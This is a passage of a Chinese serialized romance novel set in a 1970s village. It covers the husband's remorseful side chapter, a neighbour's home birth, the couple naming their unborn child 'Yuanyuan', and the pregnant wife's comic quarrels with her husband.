本来就是血气方刚的小伙子,失控是难免的,我对自己说,虽然每晚过后都会后悔,但下一次又是失控。 我不能要孩子,家里的事还没有解决,有了孩子余银可能会很累,我如果在出事,她该怎么辦。 所以我一直没提过孩子的事,她好像也明白,一直没有提过要孩子。 村里很多风言风语,我私下告诉余阿娘和余阿舅,因为家里的事,我想过几年再要孩子,余阿舅知道一点情况,就同意了。 其实我很喜欢孩子,但等家里的事情调查清楚后,再要孩子也不迟。 高考恢复了,我考上了首都的大学,我知道余银很想要孩子,我要回去让外公的事早点解决。 因为上大学知青们也能回城,各个村子里的都为了回城,开始闹起了离婚。 余银竟然以为我要也跟她离婚,拿录取通知书威胁我,这样的她讓我其实很开心。 但更多的是擔心,她好像对我没有安全感。 而我不可能和她离婚,可我不能带她一起去,外公的问題还没查清楚,首都还是危险的,一旦我出事,她一个人在那孤立无援,又该怎么办。 我不敢拿她设想,我告诉余阿娘,请一定一定相信我,我不会和余银离婚,并把我外公为什么被调查的原因告诉她。 如果我做了对不起余银的事,就可以用那件事去舉報,能把我彻底毁了。 余阿娘吓得不行,还让我呸呸呸去去晦气,她说知道我的心意,让我放心去上大学,她会在家照顾余银。 她是余银的娘,我很放心的去了首都。 在首都的日子很难熬,每天除了上学,就是和外公以前的下属们虚与委蛇。 我很想余银,很想很想,写了很多信都不敢寄给她看,他们在监视着我的一举一动,我不能把余家拖下水。 只能偷偷托人报个平安寄回去。 外公的调查就要结束了,但我发现自己好像有些不对劲。 我好像有些不受控制,总做一些奇怪的事,和我预想中要做事有了改变。 尤其是她来找我了,我应该是很高兴的和担心的,担心她自己怎么来的,在哪住,路上累不累。 可这些话我还没来的及说,为什么我会推开她,为什么护着那个江窈,我跟她并不熟識。 余银看起来很伤心,我的心钝痛,想解释,却说不出来话,只能看着她离开。 我越来越不明白自己怎么了,我不能走,也不能回杨柳村,没办法我只能去看医生。 可是并没有问题。 原来我是一本小说里的男主角,她只是我的路人甲前妻,可是我不想做男主,我只想做她的男主角。 剧情告诉我,余阿娘死了。余阿舅和余金因为帮过我,我却把他们举报送进去调查了。 我怎么会呢?怎么会呢? 余家出事了,她该怎么办啊,她该怎么面对那些事呢,那是她的娘,舅舅和哥哥啊。 那是她心里多么重要的人,为什么这本小说对她这么坏。 可是还不止,舅母也受不住打击一病不起,我想到余庆和和虎丫,他俩还那样小。 我的余银,她要怎么去承受面对呢。 她现在肯定很难过,我心里酸疼的厉害,空落落。 好像觉得什么最重要的流失了。 我想回去,可是没用,终于…… 我试图自杀,才回到了村里,可没有她了。 没有余银了…… 原来那天的心痛是她,原来是她离开了。 那个半瞎说的是真的,余银命于水,要避开水。 就在当初的那个水塘里,余银说归根结底都是她的错,她怨恨不了谁。 所以,她不欠我了。 她说那是错误的开始,可我只觉得老天爷终于给了我一个机会,让我能找到一盒和她在一起的理由。 我站在水塘边,水一如当初的深。 余银她那么怕水,怕孤单,怕一个人,我已经抛下她两年多了,我不能再抛下她一个人…… 脑海里响着警告主角即将死亡的机械音,可我不在乎。 不是我怕她一个人孤单,而是没有她我会孤单,会害怕一个人。 余银,我的世界不能没有你。 第75章 第75章生孩子太凶险了 天还没亮,余家的被重重的敲响,还有朝着屋内睡觉的人大喊着—— “大队长,嬸子,大队长,你家車讓我騎騎。” 余银睡的比较轻,隐约听到有人在喊。 过了一会儿,声音又传来,离她们屋很近,是在叫游雾州好像。 那声音有些急切和慌张,“小游,游雾州,游雾州。” 余银睁开眼,推了推睡的有点熟的游雾州,“起来,有人叫你。” 游雾州迷迷糊糊着睁开眼,就要去搂余银。两个人昨晚聊得有点久,这几天身体上精神上也累,一放松,就睡的有点沉。 听到叫他,睁开眼又无意识地闭上接着睡。 余银躲开游雾州的胳膊,坐了起来,对着外面的人喊道:“谁啊。” “杨大福,我媳妇要生了,想借你家自信車去叫接生婆。”杨大福在余家后面焦急的喊着。 余银闻言,直接伸出手“啪”的一下打在游雾州肩膀上,“赶紧起来,快点,小桃姐要生了,你騎車去接接生婆来,起来,游雾州。” 游雾州本来还有点迷糊,余银那一巴掌,直接讓他彻底清醒,忙坐了起来。 孕妇都是在自家屋里生的,这附近有个接生婆,但不在她们村,在东边隔壁的隔壁那个村子。 游雾州慌忙地穿上鞋,他大概知道那接生婆是哪家,对杨大福说他过去接,就骑上車离开了。 余银等他走了后,也睡不着,她和李小桃关系还可以,而且以后她生了还有可能是李小桃照顾她。 她穿上衣服,从柜子里拿了包紅糖,拎着煤油灯准备去杨家。 到了前院,看到余阿舅们屋和余阿娘们屋都亮了起来,余阿娘披着衣服从屋里走出来,见到她,“是大福家的要生了?” 她听到杨大福喊了两声,没听真切,后来又听到游雾州推着自行车的声音,估摸着应该是杨大福家的要生了,要去叫接生婆。 余银点了下头,说道:“我想过去瞧瞧,这好像是提前 生了。” “也行,你现在三个月多了,胎也稳着。”余阿娘打了个哈欠,指了指廚房,“刚生完虚弱,他家又没啥东西,你带几个雞蛋去,上次趙大腳来,还是大福给咱报的信呢。” “桂香,青云没啥事,睡吧。”余阿娘对着余阿舅的们屋里喊道。 “那我也去睡了,你困了就回来睡。” 余阿娘说完,就转身关了门。 余银去廚房里又拿了十个雞蛋,带着去杨家。 她到的时候,还在门口就听到李小桃传来的阵阵疼痛的哀嚎。 杨家大门开着,余银不用敲门就进去了,看到她们廚房里正燒着水的杨二妹。 她走进去把紅糖和雞蛋放下,看着已经燒开水的锅,对她道:“给你嫂子煮完紅糖雞蛋讓她吃了,有力气生。” 杨二妹那里经历过这事,她啥也幹不了,只能在厨房里烧水,听着她嫂子凄惨的哀嚎,心里一阵一阵的恐慌。 这会儿见到余银,像是猛然惊醒,“我,我嫂子不会有事吧。” 余银见她不过十四五岁,跟她见王桂香生孩子时的年龄差不多,摸了摸她的头发,放缓声音,“没事,你拿个碗来,给她冲碗紅糖鸡蛋。” “我,我家没有红糖。”杨二妹顿住,有些难为情的说道:“白糖可以吗?家里只有一点白糖。” 那白糖还是留着给她嫂子坐月子用的,她家实在太穷了,也实在弄不到红糖那好东西。 余银把她带来的红糖包装打开,递给她,“我给你嫂子带了点,快冲了给你嫂子端去。” “谢谢余银姐。”杨二妹端着碗道谢,捻了一小块红糖放碗里,有打了个鸡蛋在碗里,接着舀了一勺滚烫的水放碗里。 “二妹,二妹,水好了没啊。”杨二妹她娘丁芳芳在扯着嗓子问道。 “好了好了。”杨二妹手忙腳乱地又去打水。 余银端起那碗红糖鸡蛋,对她道:“我先端过去了,你别着急,小心烫到了啊。” “好,我这也马上好了。”杨二妹边说,边往盆子里舀水。 丁芳芳把那一盆子血水往院里一角泼过去,转身就看到余银,惊讶道:“来你咋来了。” “我睡不着,就讓我娘在家里睡着,我替她过来。”余银把红糖水递给丁芳芳,“嬸子,这红糖鸡蛋先给小桃姐喝了,接生婆还要一会才过来,让她喝了有力气。” “哎呦,你,我替你小桃姐谢谢你们。”丁芳芳擦了下眼角,端着那碗红糖鸡蛋就往屋里进。 杨家穷还没个能幹的,还有个傻的孩子,平日里都生怕被他们家沾到了,也是没办法才让杨大福去找余大队长借自行车,但没想到余银还给带了鸡蛋和红糖过来,她们非亲非故的,就在一个村子里生活而已。 说不感动那是不可能的。 余银现在不是一个人,很多事都不能干,她也没什么能帮着忙的,就去厨房烧水,杨二妹把家里能用的盆都打好水,一盆一盆往李小桃和杨大福的屋里端。 接生婆还没到,杨二妹记得不行,虽然她嫂子李小桃喝了红糖鸡蛋,不怎么叫了。 可越安静,就更恐慌了。 余银心里也急的不行,但也就烧了一锅水,游雾州就带着接生婆回来了。 “娘,接生婆来了,接生婆来了。”杨二妹惊喜的喊着她娘。 余银也赶紧从厨房里出来,看到接生婆心也跟着安了下来,她轻呼一口气,双手合十,祈祷着。 杨二妹把接生婆带到屋门口,她没结过婚,不好进去看李小桃生孩子,就往厨房走去,对着门口站着的余银道:“余银姐,你歇会吧,我去烧水就行了。” 游雾州一路骑的飞快,生怕耽搁时间,这会儿终于能喘口气歇歇,这会儿好像听到了余银的名字,他望过去。 果然看到了站着的余银。 他朝着余银走过去,握上她的手,“你怎么过来了。” 余银捏了捏他的手,低声道:“睡不着,想过来看看。” “估计还要好久,我送你回去吧。”游雾州听那接生婆说了,第一胎生的时间要很久。 余银摇摇头拒绝,“再待会儿,我等困了再回去。” 她好像没看到杨大福,垫着腳左右看了看,问游雾州,“咋不见大福哥人?你不是跟他一起去接的人。” 这怎么就游雾州和接生婆回来了,李小桃生孩子,应该她男人杨大福也在啊。 游雾州不是挺会来事嘛,怎么他自己回来了。 “他不会骑车,没办法我先回来了。”游雾州解释道:“三个人都坐车上,骑得慢。” 自行车前面的杠上也能坐人,但是三个人肯定没有两个人快,况且杨大福又不会骑车,他只好骑车带着接生婆回来。 “那他跟你去干啥,你自己去接就行了啊。”余银皱眉道。 游雾州怔愣住,余银说的是啊,他们怎么没想到。 院子里猛的传来李小桃撕心裂肺的叫喊,游雾州顿时臉僵住,仔细看,还有些微白。 余银看着他蹙眉,笑道:“吓到了?她声音响亮,说明还有劲,不用担心。” 声音虽然听着痛苦,但声却不小,不用太担心。 余阿娘跟她说过,要是王桂香叫不出来,或者声音很小,那就不行,说明没力气了。 没力气就不好生了。 游雾州空咽了一下,“生孩子都这样吗?” 他不敢想余银到时候也是这样生孩子,那他宁愿不要这个孩子。 这实在是凶险。 余银摇头道:“我也不知道,舅母生虎丫的还挺快的,估摸着小桃姐头胎,要艰难费劲些。” 游雾州沉默。 看着一盆盆的血水端着出来,还有那浓重的血腥气。 他心里有种说不出的滋味。 “等你到时候也要在家里生吗?”游雾州突然开口。 余银茫然:“不然呢,醫院生孩子多贵啊。” 这附近几个村,就还没有见去醫院生孩子的,除非是难产实在生不下来了。 大家都是在家里生的。 游雾州说道:“到时候在醫院生吧,不怕花钱,在家里生,没醫生我有点不放心。” 他不知道生孩子这么凶险,而且还没有医生,听着李小桃的声音就觉得受罪。 要是去医院生,余银也能少受点罪,应该不会像这样。 余银狐疑地盯着他打量了几眼,去医院生?其实她想过的,但医院太花钱了,而为在哪生受的罪都一样其实。 在医院生完,还要再从医院回来,到时候一路上颠簸着也受罪啊。 她对游雾州说道:“医院生也这样,而且生完还要在从医院回来。” “那接生婆跟医生还是不一样的。”游雾州认真道,“到时候可以在医院多住几天再回来,我有钱,你别担心不够。” 他有很多钱,除了身上带着的,还有县里他外公一个部下的那,首都也还有很多藏起来的。 所以他的钱够,不用省的。 余银知道他是有钱的,况且他都这样坚持了,也就同意了,“那行吧,去医院就去医院,到时候多待几天再回来。” 游雾州握紧了余银的手,向她保证道:“我一定不会让你有事的。” 余银笑了笑,说道:“那你当然不能让你孩子有事啊。” 游雾州听了这话皱起眉,严肃道:“我说的是你,但也包括孩子。” “那不就得了,还是因为孩子。”余银转过头道。 “我不是这个意思。”游雾州张口就要解释,就见杨大福气喘吁吁地跑回来,“咋,咋样了,生了没啊。” 余银在他耳边小声道:“我知道你什么意思,别紧张了。” 她捏了捏游雾州的手掌,去厨房端了碗水递给杨大福,“还没呢,你先喝点水。” 杨大福结果水,就咕咚咕咚两口喝完了,用手摸了把嘴,说道:“多谢了,你们先回去吧,这也没什么事了。” 他说完,就拿着碗往厨房去,跑这一 路,实在是渴得慌。 已经挺麻烦游雾州了,不好再让他们在这等着,左右接生婆来了也就没啥事了。 游雾州看向余银,问她:“你困不困,要不要回家睡会。” 余银听出他的意思,抬眼看他:“你要在这等着?” 游雾州点头。 余银不太明白,这没什么事了,可以不用在这等着了,而且杨大福也回来了。 游雾州解释道:“我想等着她顺利生出来,这样到时候把这个接生婆也带去医院,多一层保障。” 余银听了心里酸酸的,鼻子也跟着酸酸,但也忍不住打趣他:“一个哪够,你在多找几个接生婆,这样更有保障。” 游雾州听了后,觉得这样其实也行,畢竟多个人多个保障,钱他也出得起。 余银见他认真思考,似乎真的听进去了,她戳了戳他胳膊,“我开玩笑的,再说了,你带那么多接生婆,医院还以为他们技术不行呢,你叫人家怎么想啊。” 都是靠这个吃着饭的,游雾州叫那么多接生婆,到时候谁听谁的,要是听接生婆的,那不是砸人家医生的招牌。 怎么她懷个孕把游雾州给懷傻了啊。 余银没撇着嘴接着道:“现在不知道什么情况呢,你就不能盼着我点好啊,还多带几个接生婆,干脆你把整个医生的医生都叫去给我接生得了,架子摆的还挺大。” 游雾州无言。但在心里默默地想着,待会李小桃顺利生出来了,他就让这个接生婆也跟着去医院- 李小桃生了的事,和余银懷孕的事,第二天村里人也都知道了。 畢竟住杨家附近那几家,都听到昨晚那叫喊声,而余银没上工,肯定是要问上一嘴,一问才知道,懷孕了。 “哎呦,春花啊,这可要抱上孙子了呢。” “算来余银这也差不多就有了,毕竟都结婚半年了呢。” “三个月了,胎也坐稳了,这咋又歇着了,是这几天上工累到了啊?” 余阿娘一个一个回答着,臉上洋溢着喜气,说道:“可不是嘛,要不是她上工累到了,都不知道怀了,这丫头没一点反应,肚子也都是平的。” “呦,那你们咋知道的,去那老大夫那看了?”有个婶子问道。 “没有,是昨天有下队的医生,十个中医,给把了脉。”余阿娘笑着道,“那医生有点本事,不会号错脉的。” 她说这话,就是怕谁乱说余银可能没怀,毕竟那肚子也是平的。 “这样啊。”那婶子接着道:“你们在等几个月,可以去那老大夫那看看男女。” “这才三个月,再等段时间吧。”余阿娘应着她的话。 那婶子问旁边的人:“这老杨家生的是孙子还是孙女啊?” “孙子,孙子。”余阿娘接着她的话说:“老杨家生了个大胖小子,那老芳芳高兴的不行,逢人就说。”(作者不重男轻女,因为这里会发生其他事,是那个年代重男轻女!) “咦,这敢情好啊,大福家的不仅能生,还生了个大胖小子呢。” “真好,真好。” “可不是嘛,这好家伙,直接生了个大胖小子,看谁还说大福娶了个不下蛋的鸡去。” 那杨大福去娶李小桃,可没少被人嘲笑娶个寡妇,还是个不会下蛋的。 现在可好,不仅怀孕了,还生了个大胖小子。 为啥说是个大胖小子,是因为这孩子真胖啊,余银看着那小被子里的孩子,咂舌道:“这可真胖啊,快赶上那时候的虎丫两个了。” 那孩子胖乎乎地,肉不止在胳膊腿上,脸上也肉肉的,瞧着吧,余银觉得李小桃生她肯定很受罪。 毕竟人这会儿还在昏睡着。 杨二妹小声道:“差点就要去医院生了,那接生婆说孩子太大了,嫂子又是头胎,不好生。” 她说完,又对余银道:“你怀孕的时候别吃太多了,要不然跟他一样,肚子太大了,你也受罪。” 她嫂子还稍微胖一点,那余银看着可很瘦,况且她嫂子到天亮才生出来,吓得她昨晚都不敢睡,现在都似乎还能能到她嫂子的叫喊。 余银低头看了看自己的肚子,也压着声音,“我娘也说我肚子不能太大了,不然到时候不好生。” 她这几个月都跟着游雾州在学校里,没怎么见过李小桃,都不知道她肚子多大了。 不过还在收麦子的时候,她那时候肚子也都很明显了,那时候也才不过四个多月。 杨二妹比划了一下李小桃的肚子,说道:“我嫂子肚子就特别大,所以这孩子也胖大胖大的。” “你娘说的对,你肚子小点,到时候也好生,我以后要是怀了,也要肚子小点,不然我这身板,肚子太大,肯定也受罪。” 余银笑了笑,摸着她的脑袋道:“你才多大,就想这么多啊,连对象都没有,可想着生孩子了。” 杨二妹有些不好意思地脸红着,“这不是话说到这了吗。” 她还真没想那么多,就是说到肚子大生孩子不好生,就想到她自己也要肚子小点,不然受罪。 余银轻轻碰了碰那孩子的脸,问杨二妹,“对了,他叫什么名字啊,你们起名没。” “大名杨儒期,小名大胖。”杨二妹说道。 “儒期?哪两个字啊?这谁起的名,听着不像你们自己起的。”余银随口问道。 村里起名都很随意,这“杨儒期”听着实在不像他们起的名字。 “儒雅的儒,期望的期。”杨二妹解释道:“是你家游知青给起的名字,正好他在,我大哥说他有文化,大名就让他起。” “小名就按照他这么模样叫的,大胖。” 余银没想到名字是游雾州起的,笑着道:“挺好的,不像咱们的名字很随意,儒雅,期望,多好的意思啊。” “是啊,听的我都想换个名字了。”杨二妹忍不住嘀咕道。 她这个名字很多人都有,只是姓不一样,但也有姓也一样的。 余银问她,“那你想换个什么名字啊?” “杨……杨?”杨二妹有些苦恼道:“我也不知道,没上过啥学,不知道什么名字好听。” “你看你家游知青名字,雾州,就很好听,人家家里咋起的名字这么好听呢。” “你的其实也还好。”余银安慰她,“比盼娣,来娣,招娣她们的要好。” 她们的名字不止不好听,连含义都不太好。 杨二妹抿唇道:“这个到确实,我家大哥就是男的,对于跟我大姐才没起这么个名字。” 她家也是疼他大哥小弟多一些,不像余银家。 “家家有本难念的经。”余银叹气道:“我也就今年敢从家里出来,在村子里走,趙大脚小时候抓走我那次,给我吓得一直不敢出门,前不久也还又闹上一通。” 杨二妹是知道一点的,她握上余银的手,“她们不敢再来了,我听我大姐说,赵大脚她们回去那天,摔得可惨了,现在还走不了路。” 她大姐嫁的就是赵大脚一个村的,秋收前回娘家来说的,她听了一嘴。 余银有些愕然,然后忍不住道:“还真是老天开眼,让那半截土也赶紧咽气,别再祸害人了。” 说到底也是半截土非认定了余银,要不然余阿舅愿意给他们,让那半截土结婚的彩礼钱,但因为半截土不愿意,赵大脚才没收。 杨二妹听到这话,愣了一瞬,声音极小的说:“你说的那赵强壮,好像是真要不行了,他本来身体就不行,那天好像摔得还挺惨,更是不太行了。” “真的啊?”余银惊喜道:“那可真太好了。” 她双手和十在胸前,嘴里正要念念叨叨地说些什么,然后猛的放下手。 “哎呦,这孩子还在这,我可能说这些不好的,免得招惹了不该招惹的。”余银一脸惋惜道。 她说完,杨二妹笑了起来,“那你待会出去了说。” 要不是还有孩子在这,李小桃又在旁边那屋里,她定是要 好好祈求老天,将那半截土赶紧收了。 她真的恶心地够够的。 说道恶心,余银摸了摸她的肚子,除了肚子没一点感觉外,她也没有想睡觉,恶心的感觉。 王桂香怀孕的时候,从什么时候有反应,她记不太清了。 她问杨二妹,“你嫂子是什么时候,开始有想吐的反应啊?” “我嫂子胃口很好,基本上没怎么想吐。”杨二妹说道:“就快生的前两个月,偶尔早上会有一点想吐。” 他们家就两间房,一件她爹娘和他二哥小弟,一件她大哥和她嫂子住,然后在中间隔了点木板和布分成了两个屋子,她在隔壁睡着。 早上的时候,她能听到李小桃的干呕声,平时是没有的。 闻言,余银哦了一声,“这样啊。” 那她这可能也是月份早,所以才没反应的。 “二妹,娘。”隔壁传来李小桃虚弱的声音。 “我嫂子醒了,我先过去看看。”杨二妹怕吵醒了大胖,低声对余银说完,就掀开帘子过去。 余银看着那孩子,想了想,抬手轻轻抱起来,也跟着去旁边了。 第76章 第76章游雾州被打了? 大胖睡的很香,余银和杨二妹聊那一会儿,一点都没要醒的迹象。 这会儿余银抱着他去李小桃跟,这孩子就像有了心灵感应一般,握着的小拳头輕輕动了两下,眼睛慢慢睁开条缝。 余银忙把大胖放到李小桃旁边,小声道:“我约么你醒来就想看孩子,就把他抱过来了。” 李小桃头发打成缕在鬓边,她唇色泛着白,臉上却洋溢幸福的笑容,语气很温柔的叫着大胖,“大胖,大胖。” 杨二妹站起身,小声道:“余银姐,那你先在这,我去给我嫂子熱饭。” 煮的紅糖鸡蛋还在锅里,要熱熱再端来给她嫂子吃,她嫂子吃饱饭,才有力气喂奶。 余银点了下头,“你去吧,我搁这再待会。” 李小桃现在还不能坐起来,只能躺在那,她看着大胖,低声道:“我听二妹说,你给我带了紅糖,妹子,你有心了,姐也记在心里了,等你生完,我要那钱也会帮你带孩子的。” 她知道婆家穷,她娘家也是指望不上的,她婆婆也尽最大努力给她弄了白糖,等着她坐月子喝,可余银直接拿了一大包紅糖来,这恩情,无异于雪中送炭。 李小桃知道余家不缺钱,可那么多紅糖,她绝对是思量过,但仍愿意拿出来,讓她月子能养的好点。 余银给李小桃的被子往上盖了盖,笑道:“小桃姐,你这是说的哪里话,那红糖早晚也是要吃了喝了的,你现在正需要的它,大胖也需要它。” 况且杨家也几次帮过他们,虽然都是跑个腿的事,但对余家也是有恩的。 李小桃听完,眼眶湿润,几滴眼泪顺着眼角流入发丝间,“说到底,我们都要感谢你。” 她解释道:“不止是红糖的事,昨晚你男人也一直在这,孩子大不好生,他就是怕再有啥事,能帮我们送到医院去,他等是我们娘倆的命。” 她虽然在生孩子,但也是听到她婆婆说游雾州没走,就怕有啥事,他还能骑着車帮忙。 她也害怕生不出来咋办,但外头杨大福说生不出来去医院,他和游雾州推車也都借来了。 这给了当时都没力气生的李小桃,巨大的勇气。 余银頓了一瞬,柔声安慰她道:“别哭,月子里哭对身体可不好,现在你和大胖也都好好的,想那么多干啥。” 李小桃心里酸酸的,但笑着回她:“嗯,不想那么多。” 大胖安安静静地躺在她旁边,不哭也不闹,很听话。 她还想那么多干啥,欠余银和游雾州恩慢慢还就是了,她在心里记着,总归有需要她的时候。 这时杨二妹端着热好的红糖鸡蛋,余银也就告辞了,她也该回家做饭了- 余银回去的时候,正巧碰上也从地里回来的游雾州。 他手里还拿着从菜地里摘的黃瓜和番茄,都还没洗,估计也是刚回来。 她疑惑道:“你这么早回来做饭?” 游雾州把黃瓜洗了洗递给她:“去大福哥家了?” 余银咬了口黃瓜点头,“听说大胖的大名你给起的啊。” 游雾州把手里其他的黄瓜和番茄放进厨房,在厨房门口那搬了个凳子,讓她坐下,笑道:“他们讓我起,也不好推辞。” 余银哦了一声,问他:“那你说咱们孩子叫什么名字啊。” 她把手移到腹部,不知道是不是她的錯覺,感覺好像肚子是稍微有点没那么平了。 “游雾州,你快摸一下我肚子。”余银惊讶道。 游雾州不明所以,把手輕輕放到她肚子上,有些急切的问她:“怎么了,是疼了还是怎么了?” 说完,就抬眼去观察余银的表情,见她皱着眉,心都跟着紧张起来了,“我去借推車,咱们去医院看看。” 余银拉着他,噗嗤笑了起来,“不是,我没事,就是感覺肚子好像不平了,但昨天还是平的,好神奇啊。” 游雾州没懂,他又把手轻轻放到余银肚子上,感受着,“真没事吗?我怎么摸不出来啊?” 余银把他手拿开,嘟囔道:“我就能摸出来,好像就是没那么平了。” 游雾州看着她手还有一点点的黄瓜,无奈的笑了下,“你一根黄瓜下肚,怎么可能还是平的。” 余银看了看手里的黄瓜,又是摸肚子,轻哼一声离开厨房了。 “你干啥去?”游雾州问她。 余银冷哼:“少管我。” 游雾州笑着摇了摇头,去做饭了。 又过了一会儿,余银拿着张纸过来了,游雾州正在炒菜,看着厨房里的烟气,放下铲子,“你先出去,呛得慌,等会再说。” 余银张了张口,看着手里的纸,只好无奈地离开了。 她今天听了杨二妹说的话,决定给肚子里的孩子起一个好听的名字,不要随意的那种。 她跟余金的名字就很随意,因为生余金的那天,余阿娘的婆婆给了她块金子,所以就叫余金,后来生余银的时候,就干脆叫银了。 金银珠宝,虎丫的大名就叫余珠,余庆因为是男孩珠宝不适合他,就小名叫小宝。 可见余家取名有多一般。 余银想了好几个名字,可都覺得很一般,她上学的时候没認真学习,把那好看的字凑一起名字,怎么看都觉得别扭。 “雯枝,莺埘,愫鸾。” 这看着好看,读着也还不算拗口,就是加上姓的话,看起来有点别扭。 “游雯枝?余雯枝?” 游雾州做完饭过来的时候,就看到余银托着腮,指尖轻点着臉颊,一副若有所思的模样。 他把胳膊伸过去,拦着人,“想什么呢,你刚才要给我看什么。” 余银眼疾手快地把纸盖住,“想问你孩子叫什么名字。” “你有想好的吗?”游雾州拿着扇子给她扇着风。 余银摇头:“你来起吧,我听听你的意见。” 游雾州笑道:“我也还没想好,但想了一个小名,叫愿愿,你觉得怎么样。” “如愿以偿,愿望的愿。” 孩子是他和余银 的如愿以偿,也是他们都所期盼的。 “愿愿?”余银想了想,弯着笑道:“如愿以偿,愿愿。” 她对这个名字很满意,手掌轻放在肚子上,轻唤道:“愿愿,愿愿。” 游雾州也把手抚在余银的手上,柔声道:“愿愿,愿愿。” “我喜欢这个名字。”余银对他道:“而且不管男孩女孩都能用这个名字。” 游雾州看着她笑道:“你喜欢就行。” “愿愿,你喜欢这个名字吗,我很喜欢,希望你也喜欢。” 余阿娘他们在饭桌上听到这个名字,也都挺满意的。 “叫愿愿好啊,这个好。”余阿娘笑道。 余银笑了:“是吧,我也觉得好。” 虎丫看着余银的肚子,问她:“是叫余愿吗?” 她这话一出,其他几人都愣了。 余阿舅率先开口道:“跟小游姓,叫游愿愿。” 余银听到这样叫,忍不住对游雾州道:“怎么感觉游愿愿没有余愿愿好听啊。” 她是单纯觉得加上姓以后没那么好听了,不是为了争跟谁姓。 姓氏而已,跟谁都一样,从她肚子里出来的,不管姓什么,那都是她的孩子,改不了的。 游雾州笑了:“那就小名叫余愿愿,大名跟着姓游,或者到时候姓余也可以。” 余阿娘觉得不妥,“小名你们随便叫,这大名待跟着小游姓,毕竟是孩子爹。” 余银无所谓,“那就姓游,小名叫余愿愿,大名讓游雾州这几天起一个。” 游雾州光荣地接下余银安排他起名字的任务,一有空闲时间,就让他在纸上写出来,然后让余银来挑选。 等农忙都过去了,名字还没选好。 余银是要给余愿愿起一个听着就一般,就不像随意起的,还要显得很有文化的名字。 而且男女都要起一个,毕竟不知道肚子里是男是女。 余阿娘觉得直接去让看看就知道男女,也不用麻烦,而且也知道要做什么衣服到时候。 游雾州觉得不靠谱,而且孩子要在出生那一刻知道,是不一样的感觉。 余银觉得去看了知道男女,心里也好有个准备,两人为这事,各执一辞。 余银瞪眼:“游雾州你重男轻女是不是,你害怕是女孩,你的男孩名字用不了?” 这番话简直就是胡说八道,游雾州什么时候说过这些,而且起的名字也是女孩居多,他也没有重男轻女。 是男孩女孩都一样,那都是他和余银孩子。 他上前去拦余银,无奈的说着:“我只是觉得在孩子出生那刻知道,会更惊喜一点。” 余银推开他的手,气呼呼地说着:“孩子是我的,我说去看就去看,我今天就要知道是男是女,我不管。” “游雾州,你要不让我去看,咱们倆就离婚。” 游雾州听到她说一次离婚,心里就咯噔一次,这一个月,一有什么不让她做的事,就拿离婚说事。 每次游雾州都顺从了,这次也是如此。 “行行行,去看。”游雾州生怕她生气,再气出个好歹来。 他知道余银不是真心的,虽然也害怕,但更担心她的身体。 周围一个村子,有一家的媳妇懷孕都快生了,她男人跟她生气,倆人吵了一家,结果给气得当时就生了,孩子和人都没活下来。 游雾州听了只觉得心惊肉跳的,余银这阵子就爱跟他生气。 所以不管干什么,都尽量地去满足她,不敢让她生气。 导致余银现在脾气越来越大,连余阿舅有时候都没眼看她。 这回就是余银非要去看,结果去了之后大夫说才五个多月,肚子太小了,看不出来。 余银一听这话,当即就给游雾州甩了臉子,“都怪你。” “都怪我,都怪我。”游雾州好笑道。 余银瞪着他:“笑什么,有什么好笑的游雾州。” 游雾州立马绷着嘴,“没笑,不好笑,也一点都不好笑。” 余银埋怨道:“都怪你,也不勸着我,人大夫都说是快生的那个月,才能看出来的。” “都怪你,为什么不勸我,路颠死了,我不想坐车了,你抱我回去。” 游雾州愣住,抱她回去? 他看了眼余银的肚子,试探道:“能抱吗?不会窝着肚子吧。” “你眼里就只有孩子。”余银没好气说道。 “我没有。”游雾州否認。他推着车子微微往余银那歪去,哄着她:“你坐上来,我不骑,给你推着没那么颠,行不。” 余银朝他小腿上踢了一脚,看着他裤腿上的脚印,心情突然好点了,她坐上车,对游雾州道:“骑着回去吧,你骑快点就不颠了。” 游雾州被她突然踢了一脚,愣了下,但也没说什么,对她是说什么,就照做什么,毕竟余银这么做,肯定有她的理由- 余阿娘是知道他们去看孩子是男是女的,见着人回来,就问他俩:“咋样,是男是女啊。” 余银本来都好多了,此时想起来,又觉得有些生气,瞪了眼游雾州,没好气道:“不知道,说我月份还不到,看不出来。” 余阿娘问停车的游雾州,“她这又咋了?” “你问他干啥,你咋不问我?”余银快步走到余阿娘旁,对她告状道:“都怪游雾州不劝我,非让我去,月份都不到,能看来啥,白跑一趟。” 余阿娘忍不住咂舌,这咋懷孕了愈发无理取闹呢。明明是她闺女自己非要去,这她可是知道的。 她看了眼气衝衝地余银,低声道:“少生点气啊,看不了就看不了,怨小游干啥。” 余银一听这话,頓时就红了眼,质问道:“娘,游雾州才是你亲儿子吧。” 余阿娘看了眼游雾州,又看着她无力招架的余银,空咽了下,“那个,有人给我介绍你大哥的媳妇,我先去看看啊。” 她话都说的不明白,脚底一抹油就溜出去。 出门碰到带着虎丫和余庆的王桂香,她连忙拦住,“走走走,先别回去,又生气了。” “又生气了?”王桂香探头道。 余阿娘撇了撇嘴,说道:“可不是,她自己闹着要去看是男是女,去了大夫月份小看不了,就怨小游要带着她去。” “姐咋天天生气。”虎丫问道。 余庆摇头,“可能她,她,我也不知道。” “你说姐夫会不会打她,罗婶说爱闹脾气的媳妇,她男人揍一頓就老实了。”虎丫真诚发问,“姐夫会不会也把姐揍一顿,让她老实了不敢发脾气。” 余庆想了想,说:“应该不会吧,姐要挨揍了,爹会收拾姐夫的,大哥也回来揍姐夫,给咱姐出气。” 王桂香听到这话笑了,“你姐可受不了欺负。” 余阿娘忍不住嘀咕道:“就余银这样,她都已经骑小游头上了,还挨揍呢,她不打小游就是好的。” “打了,我见过。”余庆看着余阿娘说,“打得姐夫胳膊,可响了,打完还说他怎么长得,打得她手疼。” 虎丫也知道这事,有模有样学着余银那模样。 余阿娘惊呼,“乖乖啊,她这才五个多月就要上天了,这还有好几个月呢,那到时候家不都要翻了。” 王桂香劝她,“夫妻俩闹着玩呢,不也没朝小游臉上打,说明小鱼儿心里要有数。” “真要打小游的脸了,我第一个不饶她。”余阿娘道:“那也太不像话了。” 结果晚上吃饭的时候,就看到游雾州脸上五个红彤彤的手指印。 他脸不黑,秋收过了后,没俩星期就又白了回去。 此刻煤油灯在他旁白亮着,那巴掌印看着十分明显,甚至能看到指印似乎泛着红肿。 游雾州见都看着自己,也有些不自在,默默暗处把脸藏了藏。 虎丫趴着桌子凑近看了看,捂着嘴对她娘笑道:“娘,姐真把姐夫脸扇了,哈哈哈哈。” 她看热闹不嫌事大,还问很真诚地余银:“姐,姐夫的脸上打着手应该不疼吧。” 余阿舅和王桂香都不敢吭气,余银像个没事人一样在那坐着,对于虎丫的话,她笑了笑,没说话。 